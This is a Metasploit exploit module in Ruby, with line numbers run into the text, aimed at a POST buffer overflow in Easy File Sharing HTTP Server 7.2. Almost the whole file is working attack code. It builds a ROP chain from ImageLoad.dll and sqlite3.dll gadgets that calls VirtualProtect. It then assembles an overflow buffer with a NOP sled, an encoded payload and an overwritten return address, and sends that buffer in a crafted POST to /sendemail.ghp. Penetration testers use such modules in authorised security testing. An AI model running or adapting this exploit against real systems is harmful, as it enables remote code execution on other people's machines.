Path: blob/master/modules/exploits/windows/http/easyfilesharing_post.rb
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##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9# include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Easy File Sharing HTTP Server 7.2 POST Buffer Overflow',16'Description' => %q{17This module exploits a POST buffer overflow in the Easy File Sharing FTP Server 7.2 software.18},19'Author' => [20'bl4ck h4ck3r', # POC21'Marco Rivoli <marco.rivoli.nvh[at]gmail.com>' # Metasploit22],23'License' => MSF_LICENSE,24'References' => [25[ 'EDB', '42186' ],26],27'Privileged' => true,28'Payload' => {29'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",30},31'Platform' => 'win',32'Targets' => [33[ 'Easy File Sharing 7.2 HTTP', { 'Ret' => 0x1002280a } ],34],35'DefaultOptions' => {36'RPORT' => 80,37'EXITFUNC' => 'thread',38'ENCODER' => 'x86/alpha_mixed'39},40'DisclosureDate' => '2017-06-12',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49end5051def create_rop_chain52# rop chain generated with mona.py - www.corelan.be53rop_gadgets = [54# 0x00000000, # [-] Unable to find gadget to put 00000201 into ebx550x10015442, # POP EAX # RETN [ImageLoad.dll]560xFFFFFDFE, # -202570x100231d1, # NEG EAX # RETN [ImageLoad.dll]580x1001da09, # ADD EBX,EAX # MOV EAX,DWORD PTR SS:[ESP+C] # INC DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]| {PAGE_EXECUTE_READ}590x1001a858, # RETN (ROP NOP) [ImageLoad.dll]600x1001a858, # RETN (ROP NOP) [ImageLoad.dll]610x10015442, # POP EAX # RETN [ImageLoad.dll]620x1004de84, # &Writable location [ImageLoad.dll]630x10015442, # POP EAX # RETN [ImageLoad.dll]640x61c832d0, # ptr to &VirtualProtect() [IAT sqlite3.dll]650x1002248c, # MOV EAX,DWORD PTR DS:[EAX] # RETN [ImageLoad.dll]660x61c0a798, # XCHG EAX,EDI # RETN [sqlite3.dll]670x1001d626, # XOR ESI,ESI # RETN [ImageLoad.dll]680x10021a3e, # ADD ESI,EDI # RETN 0x00 [ImageLoad.dll]690x100218f9, # POP EBP # RETN [ImageLoad.dll]700x61c24169, # & push esp # ret [sqlite3.dll]710x10022c4c, # XOR EDX,EDX # RETN [ImageLoad.dll]720x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]730x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]740x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]750x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]760x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]770x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]780x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]790x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]800x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]810x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]820x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]830x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]840x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]850x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]860x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]870x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]880x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]890x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]900x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]910x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]920x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]930x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]940x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]950x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]960x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]970x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]980x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]990x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1000x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1010x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1020x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1030x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1040x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1050x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1060x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1070x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1080x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1090x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1100x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1110x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1120x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1130x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1140x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1150x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1160x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1170x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1180x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1190x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1200x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1210x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1220x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1230x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1240x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1250x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1260x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1270x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1280x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1290x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1300x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1310x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1320x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1330x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1340x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1350x61c066be, # INC EDX # ADD CL,CL # RETN [sqlite3.dll]1360x1001bd98, # POP ECX # RETN [ImageLoad.dll]1370x1004de84, # &Writable location [ImageLoad.dll]1380x61c373a4, # POP EDI # RETN [sqlite3.dll]1390x1001a858, # RETN (ROP NOP) [ImageLoad.dll]1400x10015442, # POP EAX # RETN [ImageLoad.dll]1410x90909090, # nop1420x100240c2, # PUSHAD # RETN [ImageLoad.dll]143].flatten.pack('V*')144return rop_gadgets145end146147def exploit148sploit = rand_text_alpha_upper(2278)149rop_chain = create_rop_chain150sploit << rop_chain151sploit << "\x90" * 200152sploit << payload.encoded153sploit << rand_text_alpha_upper(1794 - 200 - payload.encoded.length - rop_chain.length)154sploit << [target.ret].pack('V')155156request = "POST /sendemail.ghp HTTP/1.1\r\n\r\nEmail=#{sploit}&getPassword=Get+Password"157connect158sock.put(request)159handler160disconnect161end162end163164165